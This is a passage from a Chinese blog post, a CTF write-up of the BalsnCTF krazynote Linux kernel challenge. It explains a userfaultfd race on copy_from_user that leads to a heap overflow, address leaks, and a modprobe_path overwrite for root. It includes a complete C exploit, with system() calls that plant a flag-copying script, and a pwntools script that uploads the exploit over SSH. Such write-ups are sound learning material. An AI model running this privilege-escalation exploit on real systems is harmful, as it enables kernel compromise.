          (void *)((unsigned __int64)(contentArr1 + 1) & 0xFFFFFFFFFFFFFFF8LL),
          (const void *)((char *)encbuf
                       - ((char *)contentArr1
                        - ((unsigned __int64)(contentArr1 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
          8LL
        * (((unsigned int)note_length + (_DWORD)contentArr1 - (((_DWORD)contentArr1 + 8) & 0xFFFFFFF8)) >> 3));
        return result;
      }
    }

Edit看着有点乱，但是总体逻辑还是 将用户输入 通过 copy_from_user拷贝到 encbuf，然后取出 note->content地址，将 encbuf数据加密后，拷贝到 note->content中。这里 注意： copy_from_user并不是原子性的操作，也并没有上锁，按照我们之前的分析缺页可以让其有一个很大的空窗期供我们操作，进而利用竞争改掉某些关键数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( (_DWORD)a2 != -254 )
    {
      note_ptr = note_list;
      if ( (_DWORD)a2 == -253 )                 // delete
      {
        do
          *note_ptr++ = 0LL;
        while ( &_check_object_size != (__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD))note_ptr );
        result = 0LL;
        bufptr = (__int64)&unk_B60;
        memset(&unk_B60, 0, 0x2000uLL);
        return result;
      }
      return -25LL;
    }

delete函数很简单，将相应 note都清空，然后将 bufptr里都赋值为 0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
if ( note2 )                                // Show
{
  userlen2 = *(unsigned __int8 *)(note2 + 8);
  contentArr2 = (_DWORD *)(*(_QWORD *)(note2 + 16) + page_offset_base);
  if ( (unsigned int)userlen2 >= 8 )
  {
    *(__int64 *)((char *)&userbuf1 + *(unsigned __int8 *)(note2 + 8)) = *(_QWORD *)((char *)contentArr2
                                                                                  + *(unsigned __int8 *)(note2 + 8)
                                                                                  - 8);
    qmemcpy(encbuf, contentArr2, 8LL * ((unsigned int)(userlen2 - 1) >> 3));
  }
  else if ( (userlen2 & 4) != 0 )
  {
    LODWORD(encbuf[0]) = *contentArr2;
    *(_DWORD *)((char *)encbuf + (unsigned int)userlen2 - 4) = *(_DWORD *)((char *)contentArr2
                                                                         + (unsigned int)userlen2
                                                                         - 4);
  }
  else if ( *(_BYTE *)(note2 + 8) )
  {
    LOBYTE(encbuf[0]) = *(_BYTE *)contentArr2;
    if ( (userlen2 & 2) != 0 )
      *(_WORD *)((char *)encbuf + (unsigned int)userlen2 - 2) = *(_WORD *)((char *)contentArr2
                                                                         + (unsigned int)userlen2
                                                                         - 2);
  }
  if ( userlen2 )
  {
    for ( j = 0LL; j < userlen2; j += 8LL )
      encbuf[j / 8] ^= *(_QWORD *)note2;    // dec data
  }
  user_buf2 = userbuf1;
  _check_object_size(encbuf, userlen2, 1LL);
  copy_to_user(user_buf2, encbuf, userlen2);
  result = 0LL;
}

show函数，取出 note->content中加密的数据，解密后，使用 copy_to_user拷贝给用户空间。

利用分析

上面已经将 程序漏洞说明 是位于 Edit中 copy_from_user并非原子操作，其十分耗时，导致我们可以利用这个空闲时间，使用 userfault来执行某些操作，条件竞争制造漏洞。

  1. 缓冲区溢出构造

我们首先需要构造一个 堆溢出漏洞。先 New(buffer, 0x10),创建 note[0]。此时在空闲内存中的布局为，一个 note_struct的空间，加上 0x10的buf空间。

1
2
note_struct	//note[0]
0x10 buf

然后 按照上面 userfaultfd的处理流程，先使用 register_userfault()注册一个 userfaultfd处理程序。然后使用 Edit(0,1 PAGE_FAULT)。这里我们将 PAGE_FAULT定义为 一个地址，这里 Edit函数 会对该 地址指向的内存 进行访问，而这个地址并没有相应的页面映射，所以这里就会造成一次 userfaultfd错误，然后我们就可以使用我们自己的注册 userfaultfd处理程序来接管程序，从而在 一次内核操作中，完成属于我们自己的操作。从而造成条件竞争。

我们在自己的 handler函数中，完成了如下步骤：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//现在主线程停在copy_from_user函数了，可以进行利用了
delete();
create(buffer, 0);
create(buffer, 0);
// 原始内存：note0 struct + 0x10 buffer
// 当前内存：note0 struct + note1 struct
// 当主线程继续拷贝时，就会破坏note1区域

if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 偶从uffd读取msg结构，虽然没用
    errExit("[-] Error in reading uffd_msg");

struct uffdio_copy uc;
memset(buffer, 0, sizeof(buffer));
buffer[8] = 0xf0; //把note1 的length改成0xf0

uc.src = (unsigned long)buffer;
uc.dst = (unsigned long)FAULT_PAGE;
uc.len = 0x1000;
uc.mode = 0;
ioctl(uffd, UFFDIO_COPY, &uc);  // 恢复执行copy_from_user

puts("[+] done 1");
return NULL;

可以看到，我们先删掉了 note[0]，然后又创建了 两个 note，大小都为0。而这里我们新创建的new_note[0](这里我以 new_note[0]来区分我们最开始创建的 note[0]) 与 note[0]就发生了 内存共用，而 note[1]的 结构体刚好为 note[0]的buf区域，也即我们后续可以通过 edit(note[0])来修改 note[1]结构体的内容。此时内存布局如下：

1
2
note_struct			//new_note[0]
note_struct			//note[1]

然后，我们在 handler中，还将 note[0].buf[8]处的值改为了 0xff，而这个地址在 新内存布局中，刚好对应 note[1].length，所以这里 实现了 一个缓冲区溢出漏洞。

  1. 泄露数据

完成漏洞构造后，接下来我们就要选择泄露数据。

首先，可以利用 note[1]泄露 key，因为此时 note[1]的大小被改为了 0xff，其原本数据为 0x0，但输出时会进行解密 0^key=key，所以 能够把 key泄露出来。

然后这里后续提权，不管是用到 覆写 cred结构体，还是使用 modprobe_path的方法都必须知道 page_offset_base。因为不管是用 Edit还是 Show函数中，获取当前 note存储数据的地址，都是使用 cotentPtr+page_offset_base来获得，如下所示。那么就有一个很重要的点，当我们能修改 contentPtr后，我们就能够 写和泄露 指定地址的值。而前提就是 我们知道 page_offset_base的值。

1
2
3
4
//Edit
     contentArr1 = (_QWORD *)(*(_QWORD *)(note + 16) + page_offset_base);
//Show
      contentArr2 = (_DWORD *)(*(_QWORD *)(note2 + 16) + page_offset_base);

而这里为了构造一个符合我们目标的 contentPtr，我们需要先泄露当前 正确的 contentPtr值。这点我们很容易做到。只需要再创建一个 New(buffer, 0)，那么此时内存布局如下，我们输出 Show(note[1])时，其 buf[0x10]处的值即为 key^contentPtr_note2。

这样我们就把 note[2]的 contentPtr泄露出来了。

1
2
3
note_struct			//new_note[0]
note_struct			//note[1]
note_struct			//note[2]

那么，接下来我们 将 contentPtr - 0x2568，得到 此时 module_base-page_offset_base的值 module_base_off 。这里为什么减去 0x2568，是因为 note[2]真实的 contentPtr位于 note.ko偏移 0x2568处。如下所示：

1
2
3
4
5
6
7
pwndbg> x/20xg 0xffffffffc021c520
0xffffffffc021c520:     0xffff8df0c6738000      0x0000000000000000		//note[0].key	note[0].length
0xffffffffc021c530:     0x0000720f0021c538      0xffff8df0c6738000		//note[0].contentPtr	note[1],key
0xffffffffc021c540:     0xffff8df0c67380f0      0x0000720f0021c550	//note[1].length   note[1].contentPtr
0xffffffffc021c550:     0xffff8df0c6738000      0x0000000000000000	//note[2].key
0xffffffffc021c560:     0x0000720f0021c568      0x0000000000000000		//note[2].contentPtr
0xffffffffc021c570:     0x0000000000000000      0x0000000000000000

那么接下来，我们只需要用 module_base_off加上 我们想用的 note.ko里的偏移，就能实现对 note.ko 读写。这里，用到了一个十分巧妙地 代码：

1
2
.text:00000000000001F7 140 4C 8B 25 12 2A 00 00                          mov     r12, cs:page_offset_base
.text:00000000000001FE 140 4C 03 60 10                                   add     r12, [rax+10h]

再这个代码处，用到了 page_offset_base，而这句代码是将 page_offset_base在 note.ko地基址相对于 0x1fe 的偏移 page_offset_base_offset 赋值给 r12。而 这个 page_offset_base_offset 是程序在动态执行才会被 确定的，所以我们需要 先输出 note.ko+0x1fa的值，如下所示，可以看到前 4字节 0xf9881aa2 就是 page_offset_base_offset。而这里输出 note.ko+0x1fa的方法是 将 note[2].contentPtr改为 module_base_off+0x1fa，如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/10xg 0xffffffffc021a000+0x1fa
0xffffffffc021a1fa:     0x1060034cf9881aa2      0xf8c3ff86e8ee8948	//page_offset_base_offset = 0xf9881aa2
0xffffffffc021a20a:     0x8948ee894cea8948      0x8548f8d39c68e8df
0xffffffffc021a21a:     0x4824048b482b74ed      0x31c021e520c50c8b

//leak page_offset_base_offset
pwndbg> x/20xg 0xffffffffc021c520                                 
0xffffffffc021c520:     0xffff8df0c6738000      0x0000000000000000
0xffffffffc021c530:     0x0000720f0021c538      0xffff8df0c6738000
0xffffffffc021c540:     0xffff8df0c67380f0      0x0000720f0021c550
0xffffffffc021c550:     0x0000000000000000      0x0000000000000004
0xffffffffc021c560:     0x0000720f0021a1fa      0x0000000000000000	//note[2].contentPtr
0xffffffffc021c570:     0x0000000000000000      0x0000000000000000

通过上面的方法得到 page_offset_base_offset后，我们就可以得到note.ko里的 page_offset_base的地址 page_offset_base_addr，其为 module_base_off+page_offset_base_offset+0x1fe，这里 还需要加 0x1fe的原因是 这里的 page_offset_base+offset是相对 0x1fe地址的，并不是 module_base。然后，我们就可以通过 page_offset_base_addr泄露 page_offset_base了。

1
2
3
4
5
6
7
8
9
10
pwndbg> x/20xg 0xffffffffc021c520
0xffffffffc021c520:     0xffff8df0c6738000      0x0000000000000000
0xffffffffc021c530:     0x0000720f0021c538      0xffff8df0c6738000
0xffffffffc021c540:     0xffff8df0c67380f0      0x0000720f0021c550
0xffffffffc021c550:     0x0000000000000000      0x0000000000000008
0xffffffffc021c560:     0x0000720ef9a9bca0      0x0000000000000000	//note[2].contentPtr

*RDI  0x7ffd7ec4ff20 —▸ 0x4da0c0 —▸ 0x401de0 ◂— endbr64                               
*RSI  0xffff9e45c021bd58 —▸ 0xffff8df0c0000000 ◂— push   rbx /* 0xf000ff53f000ff53 */ 	
//page_offset_base=0xffff8df0c0000000

这里，我们得到 page_offset_base后，就可以实现任意地址 读写了。后续提权的方法 可以使用 覆写 cred结构体，也可以使用 覆写modprobe_path。例如，我们通过 爆破遍历 到了 cred的地址，我们需要修改 cred时，需要将 note[2].contentPtr改为 (cred_addr-page_offset_base)^key的值即可。

注意，如果利用覆写 cred结构体，上面的步骤和泄露的数据已经足够。但是如果要利用 modprobe_path来说，则还需要知道 kernel_base。那么我们如何泄露呢?

在已经知道 page_offset_base的情况下， module_base_off-page_offset_base = module_base；

然后，如何泄露 kernel_base？我们可以利用上面泄露 page_offset_base的方法， 这里可以利用 note.ko里 用到 copy_to_user或 copy_from_user的地址，例如下所示：

1
2
.text:000000000000006C 140 E8 7F 2B 00 00                                call    _copy_from_user
.text:0000000000000071 140 48 85 C0                                      test    rax, rax

这里调用了 copy_from_user函数，我们修改 contentPtr为 module_base_off+0x6d，然后泄露得到 copy_from_user_off相对于 0x71的偏移。那么此时 copy_from_user_addr为 module_base+0x71+copy_from_user_off。我们得到 copy_from_user函数的地址后，再减去我们通过静态分析得到的 copy_from_user相对于 kernel_base的偏移，即可得到 kernel_base的值。

得到 kernel_base之后，就可以按照之前所讲的获得 modprobe_path的方法来获得 modprobe_path地址。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
// gcc -static -pthread exp.c -g -o exp
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/prctl.h>
#include <stdint.h>

typedef struct noteRequest{
    size_t idx;
    size_t length;
    char* buf;
}NoteReq;

int fd;
char buffer[0x1000] = { 0 };
size_t fault_ptr;
void init(){
    fd = open("/dev/note", 0);
    if (fd < 0){
        printf("open fd error\n");
        exit(-1);
    }
    puts("Open device ok\n");
}

void New(char*buf, uint8_t length){
    NoteReq req;
    req.length = length;
    req.buf = buf;
    if(-1 == ioctl(fd, -256, &req)){
        puts("New error\n");
        exit(-1);
    }
}

void Edit(uint8_t idx, char* buf, uint8_t len){
    NoteReq req;
    req.idx = idx;
    req.length = len;
    req.buf = buf;
    if(-1 == ioctl(fd, -255, &req)){
        puts("Edit err\n");
        exit(-1);
    }
}

void Show(uint8_t idx, char* buf){
    NoteReq req;
    req.idx = idx;
    req.buf = buf;
    if(-1 == ioctl(fd, -254, &req)){
        puts("Show err\n");
        exit(-1);
    }
}

void Delete(){
    NoteReq req;
    if(-1 == ioctl(fd, -253, &req)){
        puts("Delete err\n");
        exit(-1);
    }
}

void* handler(void *arg){
    struct uffd_msg msg;
    unsigned long uffd = (unsigned long)arg;
    puts("[+] Handler created");

    struct pollfd pollfd;
    int nready;
    pollfd.fd     = uffd;
    pollfd.events = POLLIN;
    nready = poll(&pollfd, 1, -1);
    if (nready != 1)  // 这会一直等待，直到copy_from_user访问FAULT_PAGE
        {
        puts("wrong pool return\n");
        exit(-1);
    }   
    printf("[+] Begin handler\n");

    //here, we can write our own code
    Delete();
    New(buffer, 0);     //note[0]
    New(buffer, 0);     //note[1]

    buffer[8]=0xff; //change note[1].length

    if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 偶从uffd读取msg结构，虽然没用
    {
        puts("uffd read err\n");
        exit(-1);
    }    

    struct uffdio_copy uc;
    memset(buffer, 0, sizeof(buffer));
    buffer[8] = 0xf0; //把note1 的length改成0xf0

    uc.src = (unsigned long)buffer;
    uc.dst = (unsigned long)fault_ptr;
    uc.len = 0x1000;
    uc.mode = 0;
    ioctl(uffd, UFFDIO_COPY, &uc);  // 恢复执行copy_from_user

    puts("[+] handle finished");
    return NULL;    
   
}

size_t register_userfault(){
   long uffd;        
   char *addr;       
   size_t len = 0x1000;
   pthread_t thr; 
   struct uffdio_api uffdio_api;
   struct uffdio_register uffdio_register;
   int s;
   uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
   if (uffd == -1)
   {
       puts("userfaultfd\n");
       exit(-1);
   }


   uffdio_api.api = UFFD_API;
   uffdio_api.features = 0;
   if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)      // create the user fault fd
   {
       puts("ioctl uffd err\n");
       exit(-1);
   }
   addr = mmap(NULL, len, PROT_READ | PROT_WRITE,       //create page used for user fault
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (addr == MAP_FAILED)
   {
       puts("map err\n");
       exit(-1);
   }

   printf("Address returned by mmap() = %p\n", addr);
   uffdio_register.range.start = (size_t) addr;
   uffdio_register.range.len = len;
   uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
   if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)//注册页地址与错误处理fd，这样只要copy_from_user
//                                       //访问到FAULT_PAGE，则访问被挂起，uffd会接收到信号
   {
       puts("ioctl register err\n");
       exit(-1);
   }

   s = pthread_create(&thr, NULL, handler, (void *) uffd); //handler函数进行访存错误处理
   if (s != 0) {
       errno = s;
        puts("pthread create err\n");
       exit(-1);
   }
   return addr;
}

int main()
{
    system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/note/flag\n/bin/chmod 777 /home/note/flag' > /home/note/getflag.sh");
    system("chmod +x /home/note/getflag.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/note/ll");
    system("chmod +x /home/note/ll");
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    init();
    New(buffer, 0x10);

    fault_ptr = register_userfault();
    Edit(0, fault_ptr, 0x10);

    Show(1, buffer);
    size_t key = *(size_t*)buffer;
    printf("key is 0x%lx\n",key);

    New(buffer, 0x0);   //note[2]
    Show(1, buffer);

    //leak module_base_off
    size_t note2ContPtr = *(size_t*)(buffer+0x10)^key;
    size_t module_base_off = note2ContPtr - 0x2568;
    printf("note2ContPtr: 0x%lx \nmodule_base_off: 0x%lx\n",note2ContPtr, module_base_off);

    unsigned long* fake_note = (unsigned long*)buffer;
    fake_note[0] = key^0;
    fake_note[1] = 4^key;
    fake_note[2] = (module_base_off+0x1fa)^key;
    
    Edit(1, fake_note, 0x18);
    //leak page_offset_base_offset
    int page_offset_base_offset = 0;
    Show(2, (char*)&page_offset_base_offset);
    printf("page_offset_base_offset: %x\n", page_offset_base_offset);

    size_t page_offset_base_addr = page_offset_base_offset + module_base_off + 0x1fe;
    printf("page_offset_base_addr: 0x%lx\n", page_offset_base_addr);

    //leak page_offset_base
    fake_note[0] = key^0;
    fake_note[1] = 0x8^key;
    fake_note[2] = page_offset_base_addr^key;
    Edit(1, fake_note, 0x18);
    size_t page_offset_base = 0;
    Show(2, (char*)&page_offset_base);
    printf("page_offset_base: 0x%lx\n", page_offset_base);

    size_t module_base = module_base_off + page_offset_base;
    printf("module_base: 0x%lx\n", module_base);
    
    //leak module_base
    fake_note[0] = key^0;
    fake_note[1] = 0x4^key;
    fake_note[2] = (module_base_off+0x6d)^key;
    Edit(1, fake_note, 0x18);
    int copy_from_user_off = 0;
    Show(2, (char*)&copy_from_user_off);
    printf("copy_from_user_off: 0x%x\n", copy_from_user_off);

    size_t copy_from_user_addr = copy_from_user_off+0x71+module_base;
    size_t kernel_base = copy_from_user_addr - (0xae553e80-0xae200000);
    printf("copy_from_user_addr: 0x%lx\n kernel_base: 0x%lx\n",copy_from_user_addr, kernel_base);

    size_t modprobe_path = kernel_base + (0xb1c5e0e0 - 0xb0c00000);
    printf("modprobe_path: 0x%lx\n", modprobe_path);

    char* buf = malloc(0x50);
    memset(buf, '\x00', 0x50);
    strcpy(buf, "/home/note/getflag.sh\0");
    //change modprobe_path
    fake_note[0] = key^0;
    fake_note[1] = 0x50^key;
    fake_note[2] = (modprobe_path-page_offset_base)^key;
    Edit(1, fake_note, 0x18);

    Edit(2, buf, 0x50);
    system("/home/note/ll");
    system("cat /home/note/flag");
    return 0;
}

这里记录一下，当我们写好 exp后，怎么把自己的 程序传到服务器上执行，这里是把自己的程序打包后，分块传输，然后解压。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python2
from pwn import *

def send_command(cmd, print_cmd = True, print_resp = False):
    if print_cmd:
        log.info(cmd)

    p.sendlineafter("$", cmd)
    resp = p.recvuntil("$")

    if print_resp:
        log.info(resp)

    p.unrecv("$")
    return resp

def send_file(name):
    file = read(name)
    f = b64e(file)

    send_command("rm /home/note/a.gz.b64")
    send_command("rm /home/note/a.gz")
    send_command("rm /home/note/a")

    size = 800
    for i in range(len(f)/size + 1):
        log.info("Sending chunk {}/{}".format(i, len(f)/size))
        send_command("echo -n '{}'>>/home/note/a.gz.b64".format(f[i*size:(i+1)*size]), False)

    send_command("cat /home/note/a.gz.b64 | base64 -d > /home/note/a.gz")
    send_command("gzip -d /home/note/a.gz")
    send_command("chmod +x /home/note/a")

def exploit():
    send_file("exploit.gz")
    #send_command("/home/note/a")
    p.sendline("/home/note/a")
    p.interactive()

if __name__ == "__main__":

    #context.log_level = 'debug'
    s = ssh(host="krazynote-3.balsnctf.com", port=54321, user="knote", password="knote", timeout=5)
    p = s.shell('/bin/sh')
    #p = process("./run.sh")
    exploit()

对于这道题的学习，真的促进了我对内核的理解，以及提高了我写exp的水平。不愧是 BalsnCTF的题，真的对人有很大提高

Linux Kernel 通用堆喷技术

2020-SECCON kstack

利用分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
*RDX  0x8
*RDI  0xffffa12d9ea53a68 —▸ 0xffffffffadf3be80 ◂— ret     /* 0x841f0f2e6666c3 */
*RSI  0x77771000
 
 ► 0xffffffffc03910d0 <proc_ioctl+208>    call   0xffffffffae01d850 <0xffffffffae01d850>

   0xffffffffc03910d5 <proc_ioctl+213>    test   rax, rax

pwndbg> x/20xg 0xffffa12d9ea53a60
0xffffa12d9ea53a60:     0xffffffff00000044      0xffffffffadf3be80
0xffffa12d9ea53a70:     0x0000000000000000      0xffffffffadf70ec0
0xffffa12d9ea53a80:     0xffffdc8300758480      0xffffdc83007584c0
0xffffa12d9ea53a90:     0xffffdc8300758500      0xffffdc8300758540

    
│ RDX  0x8
│*RDI  0x7f54ea74bd68 ◂— mov    esi, 0xcafeba /* 0xcafebabe */
│*RSI  0xffffa12d9ea53a68 —▸ 0xffffffffadf3be80 ◂— ret     /* 0x841f0f2e6666c3 */

    
 ► 0xffffffffc0391112 <proc_ioctl+274>    call   0xffffffffae01d810 <0xffffffffae01d810>

   0xffffffffc0391117 <proc_ioctl+279>    test   rax, rax

pwndbg> x/20xg 0xffffa12d9ea53a60
0xffffa12d9ea53a60:     0xffffffff00000044      0xffffffffadf3be80
0xffffa12d9ea53a70:     0x0000000000000000      0xffffffffadf70ec0


*RDX  0x0
*RDI  0xffffa12d9ea53a60 ◂— add    byte ptr [rax], r8b /* 0xffffffff00000044; 'D' */
*RSI  0xffffa12d9ea53a70 ◂— 0
 ► 0xffffffffc039108b <proc_ioctl+139>    call   0xffffffffadf12240 <0xffffffffadf12240>

   0xffffffffc0391090 <proc_ioctl+144>    xor    eax, eax
1
2
3
4
5
6
7
 RDX  0x8
*RDI  0x77772000
*RSI  0xffffa12d9ea53a68 ◂— out    dx, eax /* 0xdeadbeef */

► 0xffffffffc0391112 <proc_ioctl+274>    call   0xffffffffae01d810 <0xffffffffae01d810>

  0xffffffffc0391117 <proc_ioctl+279>    test   rax, rax
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing